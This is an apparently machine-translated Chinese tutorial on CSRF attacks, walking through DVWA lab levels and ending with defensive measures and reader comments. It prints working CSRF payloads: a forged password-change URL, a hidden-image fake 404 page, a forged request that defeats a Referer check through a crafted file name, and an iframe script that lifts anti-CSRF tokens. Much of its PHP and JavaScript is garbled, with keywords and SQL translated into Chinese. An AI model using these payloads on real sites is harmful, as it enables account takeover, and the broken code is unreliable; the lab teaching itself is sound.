大家好,如果您还对10分钟探讨CSRF突破原理,Web安全第一道防线不太了解,没有关系,今天就由本站为大家分享10分钟探讨CSRF突破原理,Web安全第一道防线的知识,包括的问题都会给大家分析到,还望可以解决大家的问题,下面我们就开始吧!
您可以这样理解CSRF攻击:攻击者窃取您的身份,并以您的名义向第三方网站发送恶意请求。 CRSF可以做的事情包括利用您的身份发送电子邮件、发送短信、进行交易转账等,甚至窃取您的账户。
那么,今天我春秋就给小伙伴们介绍一下CSRF突破原理的相关内容。希望对大家学习Web安全有所帮助。阅读这篇文章大约需要15分钟。一定要完成它。文章最后的内容会更加精彩~
CSRF攻击原理
当我们打开或登录一个网站时,浏览器和存储该网站的服务器之间会生成一个会话。在会话结束前,用户可以使用自己的网站权限对网站进行操作,例如发布文章、发送电子邮件等。会话结束后,进行权限操作,网站就会知道会话已过期或重新登录。
当您登录网站时,浏览器将与受信任的站点建立经过身份验证的会话。通过此经过身份验证的会话发送的所有请求都被视为可信操作,例如转账、汇款和其他操作。如果重叠时间太长或自动结束,则必须重新建立经过身份验证、可信且安全的会话。
CSRF 攻击是基于会话的。例如:当您登录网上银行并拆分转账账户业务时,攻击者向您发送一个URL。该URL是攻击者精心构造的有效替换。攻击者精心构造了转账业务代码,和你登录的人在同一家银行,当你点击一个以为是安全链接的链接时,你的钱就没有了!
例如,要给用户xxser转账1000元,正常的URL为:
secbug.org/pay.jsp?user=xxsermoney=1000 攻击者构造的URL 为:
secbug.org/pay.jsp?user=hackmoney=10000CSRF 突破性漏洞
CSRF 攻击通常用于制造蠕虫攻击、SEO 流量等。
分析防御代码
获取GET参数用户名和密码,然后通过选择语句查询对应的用户是否存在。如果存在则通过$_SESSION设置会话:isadmin=admin,否则设置会话:isadmin=guest
判断会话中的isadmin是否为admin,如果是isadmin!=admin 表示用户未登录,则切换到登录页面,只有管理员登录后才能进行用户的操作。
获取POST参数用户名和密码并将其插入到用户表中,完成添加用户的操作。
?php session_start(); if (isset($_GET[‘login’])) { $con=mysqli_connect(‘127.0.0.1′,’root’,’123456′,’test’); if (mysql_connect_errno()) { echo ‘连接失败’.mysql_connect_errno(); $username=addslashes($_GET[‘用户名’]); $password=$_GET[‘密码’]; $result=mysqli_query($con , ‘从用户名=”.$username.”和密码=”.md5($password).”’)的用户中选择* $row=mysqli_fetch_array($结果); if($row){ $_SESSION[‘isadmin’]=’admin’; exit(‘登录成功’); } else{ $_SESSION[‘isadmin’]=’guest’; exit(‘登录失败’); } } else{ $_SESSION[‘isadmin’]=’访客’ ‘; } if($_SESSION[‘isadmin’] !=’admin’){ exit(‘请登录.’); } if(isset($_POST[‘提交’])){ if (isset($_POST [‘用户名’])) { $result1=mysqli_query($con,’插入用户(用户名, 密码) value (” .$_POST[‘用户名’].”,”.md5($_POST[‘密码’]).”)’); exit($_POST[‘用户名’].’添加成功’); } }?这是后台php源代码。
攻击者所需要做的就是构造一个请求。请求的URL是php文件的URL。参数为submit=1&username=1&password=1。请求payload会自动利用源码的特性来添加用户:
!DOCTYPE htmlhtmlhead meta charset=’utf-8′ titleCSRF 漏洞实践/title/headbody 脚本type=’text/javascript’ var Pauses=new Array(’16’); var 方法=new Array(‘POST’); var urls=new Array(‘isadmin.php’); var params=new Array(‘提交=1用户名=1密码=1’);函数pausecomp(millis){ var date=new Date(); var curDate=null; do{ curDate=new Date(); while(curDate-datemillis); } 函数run(){ var count=1;变量我=0; for( i=0; i 计数; i ++){ makeXHR(methods[i] ,urls[i],params[i]);暂停补偿(暂停补偿[i]); } } var http_request=false;函数makeXHR( 方法, url , 参数){ http_request=false ; if(window.XMLHttpRequest){ http_request=new XMLHttpRequest() ; if(http_request.overrideMinmeType){ http_request.overrideMinmeType(‘text/html’); } } else if(window.ActiveXObject){ try{ http_request=new ActiveXObject(‘Msxml2.XMLHTTP’); } catch( e){ 尝试{ http_request=new ActiveXObject(‘Microsoft.XMLHTTP’); } catch (e){ } } } if(!http_request){alert(‘无法创建XMLHTTP 实例’);返回假; } if(method==’GET’){ if(url.indexOf(‘?’)==-1){ url=url + ‘?’ + 参数; } else{ url=url + ” + 参数; http_request.open(方法,url,true); http_request.send(”); } else if(method==’POST’){ http_request.open(method,url,true); http_request.setRequestHeader(‘Content-type’,’application/x-www.form-urlencoded’); http_request.setRequestHeader(‘内容长度’,paramters.length); http_request.setRequestHeader(‘连接’,’关闭’); http_request.send(参数); /script/body/htmlDVWA 平台CSRF
我找不到更好的原始文件,所以我找到了DVWA。
low
前端源代码h3更改管理员密码:/h3brform action=’#’ method=’GET’新密码:brinput autocomplete=’off’ name=’password_new’ type=’password’br确认新密码:brinput autocomplete=’off’ name=’password_conf’ type=’password’brbrinput value=’Change’ name=’Change’ type=’submit’/form 前端源码非常简单。就是修改密码的CSRF。该表单使用GET 来更改提交。
后端源码?phpif( isset( $_GET[ ‘Change’ ] ) ) {//获取输入$pass_new=$_GET[ ‘password_new’ ];$pass_conf=$_GET[ ‘password_conf’ ];//密码是否匹配?if( $pass_new==$pass_conf ) { //确实如此! $pass_new=((isset($GLOBALS[‘___mysqli_ston’]) is_object($GLOBALS[‘___mysqli_ston’])) ? mysqli_real_escape_string($GLOBALS[‘___mysqli_ston’],$pass_new ) : ((trigger_error(‘[MySQLConverterToo] 修复) mysql_escape_string() 调用!此代码不起作用。’, E_USER_ERROR)) ” : ”)); $pass_new=md5( $pass_new ) ; //更新数据库$insert=’UPDATE `users` SET password=’$pass_new’ WHERE user=” . dvwaCurrentUser() 。 ”;’; $结果=mysqli_query($GLOBALS[‘___mysqli_ston’],$ insert ) 或die( ‘pre’ . ((is_object($GLOBALS[‘___mysqli_ston’])) ? mysqli_error($GLOBALS[‘___mysqli_ston’]) : (( $___mysqli_res=mysqli_connect_error()) ? $__mysqli_res : false)) ; //用户反馈echo ‘prePassword Changed./pre’;}else { //密码匹配问题echo ‘prePasswords did not match./pre’;}((is_null($___mysqli_res=mysqli_close($GLOBALS[‘___mysqli_ston) ‘]))) 假: $___mysqli_res);}?可以看到,收到数据后,预计会验证密码是否重复两次,然后更改密码。
构造有效的Payloadhttp://127.0.0.1/DVWA-master/vulnerities/csrf/?password_new=123456password_conf=123456Change=Change#我们将Payload发送给受害者,受害者处于会话保持(已登录状态)并遭受一次点击URL链接,意味着受害者执行了同样的操作,这个过程就是CSRF。
作者DVWA使用的登录密码被替换为“123456”。
这里攻击的关键点是利用受害者的cookie向服务器发送伪造的请求(Payload)。如果用户使用浏览器重置有效负载URL 来维护xxser.com 的会话登录,则受害者的密码将会更改。
如今,人们的安全意识普遍增强。我们可以利用短链接进行优化,比如百度、新浪的短链接替换,以减少图片内容,而且修改密码后页面会有提示。
聪明的做法(抄袭前辈)!DOCTYPE htmlhtmlheadmeta charset=’utf-8’titlePayload/title/headbodyimg src=’http://127.0.0.1/DVWA-master/vulnerability/csrf/?password_new=123456password_conf=123456Change=Change #’ border=’0′ style=’display: none ‘h1404/h1h2文件未找到./h2/body/html 页面的功能是加载伪404页面。事实上,如果您可以访问该页面,图像就会被加载。所谓加载就是通过src属性加载图片,src属性就是Payload-URL。实际行为是在加载html页面时加载图像,并执行payload。
中间
前端源码(增加了http_referer header的验证)?phpif( isset( $_GET[ ‘Change’ ] ) ) {//HTTP_REFERER : 查询当前页面上一页的地址信息//SERVER_NAME: 获取域名if( stripos( $_SERVER [ ‘HTTP_REFERER’ ] ,$_SERVER[ ‘SERVER_NAME’ ]) !==false ) { //stripos() : 检查字符第一次出现的位置,$pass_new=$_GET[ ‘password_new’ ]; $pass_conf=$_GET[ ‘password_conf’ ]; //密码是否匹配? if( $pass_new==$pass_conf ) { //确实如此! $pass_new=((isset($GLOBALS[‘___mysqli_ston’]) is_object($GLOBALS[‘___mysqli_ston’])) ? mysqli_real_escape_string($GLOBALS[‘___mysqli_ston’],$pass_new ) : ((trigger_error(‘[MySQLConverterToo] 修复) mysql_escape_string() 调用!此代码不起作用。’, E_USER_ERROR)) ” : ”)); $pass_new=md5( $pass_new ); //更新数据库$insert=’UPDATE `users` SET password=’$pass_new’ WHERE user=” . dvwaCurrentUser() 。 ”;’; $结果=mysqli_query($GLOBALS[‘___mysqli_ston’],$insert ) 或die( ‘pre’ . ((is_object($GLOBALS[‘___mysqli_ston’])) ? mysqli_error($GLOBALS[‘___mysqli_ston’]) : (( $ ___mysqli_res=mysqli_connect_error()) ? $___mysqli_res : false)) ; //用户反馈echo ‘prePassword Changed./pre’; } else { //密码匹配问题echo ‘prePasswords did not match ./pre’; }}else { //不是来自可信来源echo ‘preThat 请求看起来不正确。/pre’;}((is_null($___mysqli_res=mysqli_close($GLOBALS[‘___mysqli_ston’] ))) ? false第:章检查HTTP_REFERER(http数据包的referer参数值),即上层URL地址信息中是否包含HTTP HTTP数据包中的host参数值;如果包含,则说明当前页面来自DVWA,即上层URL的行为是合法的。
合法的http数据包:
GET /DVWA-master/vulnerities/csrf/?password_new=1234password_conf=1234Change=更改HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0(Windows NT 10.0;WOW64;rv:48.0)Gecko/20100101 Firef ox/48.0接受:文本/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip、deflateDNT: 1Referer: http://127.0.0.1/DVWA-master/vulnerability/csrf/Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943X-Forwarded-For: 8.8.8.8 Connection: keep-aliveUpgrade-Insecure-Requests: 1 注意第2 行、第8 行确定。
分析绕过,但是stripos()函数写的头验证可以绕过~stripos()函数是多重匹配;只要包含目标主机地址,就可以绕过strips()函数编写的验证语句
如果我们仍然像往常一样创建一个假攻击页面,stripos() 标头验证会验证,但该页面不是来自DVWA,因此我们深入研究stripos() 函数的扩展,发现该函数会匹配多次,所以我们的想法是创建一个假文件名,通过伪造的文件名绕过stripos() 验证。
PayloadGET /DVWA-master/vulnerities/csrf/?password_new=mirror11password_conf=mirror11Change=更改HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/2010010 1 Firefox/48 .0接受: * /*Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: ht
tp://127.0.0.1/127.0.0.1.htmlCookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943X-Forwarded-For: 8.8.8.8Connection: keep-alive这里注意:我们将Payload命名为“ 127.0.0.1.html”
high
前端源码<?phpif( isset( $_GET[ ‘Change’ ] ) ) { // 加入 Anti-CSRF token机制 checkToken( $_REQUEST[ ‘user_token’ ], $_SESSION[ ‘session_token’ ], ‘index.php’ ); // Get input $pass_new = $_GET[ ‘password_new’ ]; $pass_conf = $_GET[ ‘password_conf’ ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS[“___mysqli_ston”]) && is_object($GLOBALS[“___mysqli_ston”])) ? mysqli_real_escape_string($GLOBALS[“___mysqli_ston”], $pass_new ) : ((trigger_error(“[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.”, E_USER_ERROR)) ? “” : “”)); $pass_new = md5( $pass_new ); // Update the database $insert = “UPDATE `users` SET password = ‘$pass_new’ WHERE user = ‘” . dvwaCurrentUser() . “‘;”; $result = mysqli_query($GLOBALS[“___mysqli_ston”], $insert ) or die( ‘<pre>’ . ((is_object($GLOBALS[“___mysqli_ston”])) ? mysqli_error($GLOBALS[“___mysqli_ston”]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘</pre>’ ); // Feedback for the user echo “<pre>Password Changed.</pre>”; } else { // Issue with passwords matching echo “<pre>Passwords did not match.</pre>”; } ((is_null($___mysqli_res = mysqli_close($GLOBALS[“___mysqli_ston”]))) ? false : $___mysqli_res);}// Generate Anti-CSRF tokengenerateSessionToken();?>加入反CSRF令牌机制,用户访问改密页面时,服务器返回令牌,只有用户提交令牌参数才可以进行改密行为。
分析绕过我们构造有效载荷页面的时候,就需要考虑到执行改密行为必须向服务器发送令牌,而令牌只有在改密页面才可以获得;
根据前辈的思路:利用受害者的cookie去改密页面获取令牌。
<script type=”text/javascript”> function attack(){ document.getElementsByName(‘user_token’)[0].value=document.getElementById(“hack”).contentWindow.document.getElementsByName(‘user_token’)[0].value;document.getElementById(“transfer”).submit();}</script><iframe src=”http://192.168.153.130/dvwa/vulnerabilities/csrf” id=”hack” border=”0″ style=”display:none;”></iframe><body οnlοad=”attack()”><form method=”GET” id=”transfer” action=”http://169.254.36.73/DVWA-master/vulnerabilities/csrf/”> <input type=”hidden” name=”password_new” value=”password”> <input type=”hidden” name=”password_conf” value=”password”> <input type=”hidden” name=”user_token” value=””><input type=”hidden” name=”Change” value=”Change”> </form></body>攻击提示是当受害者点击进入该页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的令牌,并向服务器发送改密请求,以完成CSRF攻击。
然而理想与现实的差异是巨大的,这里牵扯到了跨域问题,而现在的浏览器是分离跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://169.254。 36.73 / DVWA主站/漏洞/ csrf /,位于服务器169.254.36.73上,而我们的攻击页面位于黑客服务器上,其中的域名不同,域名B下的所有页面都主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。
由于跨域是不能实现的,所以我们将攻击代码注入到目标服务器169.254.36.73中,才有可能完成攻击。下面利用高级XSS入侵协助赢得Anti-CSRF令牌(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)
这里的名称存在XSS突破,于是抓包,改参数,成功删除令牌链接。
通过DVWA平台的CSRF实例,简单的总结了CSRF的特性和应对措施:
CSRF应对措施
从DVWA的测试中总结:在不可能的等级的原始代码中,利用了PDO技术防御SQL注入,CSRF方面则要求用户原始密码;攻击者在不知道原始密码的情况下是无法进行CSRF的!
CSRF防御手段
使用POST,限制GETGET方式最容易受到CSRF攻击,只要简单的构造有效剂量就可能导致CSRF;使用POST可以大程度的减低CSRF显示率
浏览器Cookie策略老浏览器会拦截第三方本地Cookie的发送,而新浏览器则不会拦截发送;
添加验证码简单粗暴还有效;可以大程度的增加人机交互的过程,避免用户被悄悄的偷袭
推荐人检查检查请求是否来自于合法的源
反CSRF令牌令牌的值必须是随机的,不可预测的。由于令牌的存在,攻击者无法再构造一个带有合法令牌的请求实施CSRF攻击。另外使用令牌时应注意其保密性,尽量把敏感的操作由GET改写POST,以表格或AJAX形式提交,避免令牌替换。
原创文章,作者:小su,如若转载,请注明出处:https://www.sudun.com/ask/126386.html
用户评论
蔚蓝的天空〃没有我的翅膀
这个标题挺吸引人的!我一直对web安全不太懂,但CSRF好像经常听说。10分钟的讲解应该很容易入门吧,希望真的能让我快速理解一下CSRF的原理!
有8位网友表示赞同!
烟雨萌萌
看了下作者的简介,感觉他对Web安全很有经验。期待他的分享能够深入浅出地解释CSRF是如何被利用的,以及如何加强防御措施。
有14位网友表示赞同!
半世晨晓。
我之前就碰过一次类似的情况被攻击了,当时搞得挺崩溃的!这篇文章正好可以让我回顾一下CSRF的原理,学习一些预防方法,以后再也不会遇到这种情况了!
有8位网友表示赞同!
有你,很幸福
这10分钟的时间确实很宝贵,希望作者能将重点内容讲清楚,别只是停留在概念层面。我更想了解具体的攻击手段和防御策略,这样才能更有针对性地提高网站安全性。
有6位网友表示赞同!
傲世九天
我觉得这篇文章标题有点儿太概括了,CSRF的原理其实相当复杂,10分钟真的能彻底讲解清楚吗?不过我还是很有兴趣看看作者的思路。
有19位网友表示赞同!
若他只爱我。
每次看到“Web安全”就被吓到了!我做前端的,对这些安全概念理解也很有限。希望能多学习一些实用技巧,让我的代码更安全可靠。
有14位网友表示赞同!
◆残留德花瓣
CSRF确实是个比较危险的攻击类型,尤其是对于用户数据敏感型的网站来说。期待作者能分享一些实用的防御策略,比如使用双重认证或令牌验证等措施。
有14位网友表示赞同!
寒山远黛
我之前看过的关于CSRF的文章很多,大多都讲解得比较繁琐,难以理解。希望这篇文章能够用更通俗易懂的语言解释原理,让人更容易掌握关键点。
有6位网友表示赞同!
雪花ミ飞舞
我觉得10分钟太短了,要想深入了解CSRF的各种攻击细节和防御方案,至少需要一个小时以上的时间仔细学习。不过还是感谢作者分享这些知识,希望这篇文章能够帮助到更多人!
有11位网友表示赞同!
゛指尖的阳光丶
我更想了解一些最新的CSRF攻击技术趋势和防范手段,也许可以探讨一下一些基于机器学习或者人工智能的解决方案,提升Web安全防护水平!
有14位网友表示赞同!
青山暮雪
感觉标题有点卖弄虚假概念。10分钟能“浅谈” CSRF 的原理?还是只说表面现象? 我希望文章能深入分析CSRF是如何被利用的,以及如何进行防御。
有8位网友表示赞同!
〆mè村姑
我以前听过CSRF的概念,但具体原理不太清楚。看了这个标题,感觉作者讲解方式很通俗易懂,我很想看一看! 希望能解释清楚“Web安全第一防线” 这句话的意思。
有5位网友表示赞同!
陌上蔷薇
我一直很注重网站安全,特别是用户隐私方面的防护。期待作者能详细介绍CSRF攻击的案例和影响,以及一些常见的防御措施,帮助我更好地保护我的网站!
有16位网友表示赞同!
杰克
我觉得CSRF是一种非常 insidious 的攻击方式,它能够有效利用用户的信任来完成恶意的操作。对于 web 开发人员来说,需要更加重视 CSRF 攻击的防护,并采用多种技术手段来防范这种风险。
有10位网友表示赞同!
念安я
这个标题吸引了我的注意力!我一直对网络安全很有兴趣,想了解更多关于 CSRF 的信息,看看作者如何解释它的原理和防御措施。
有16位网友表示赞同!
tina
希望这篇文章不仅仅停留在介绍 CSRF 原理的层面,还能够分享一些实际案例和经验总结,这样才能更加贴近现实需求,更有帮助性!
有10位网友表示赞同!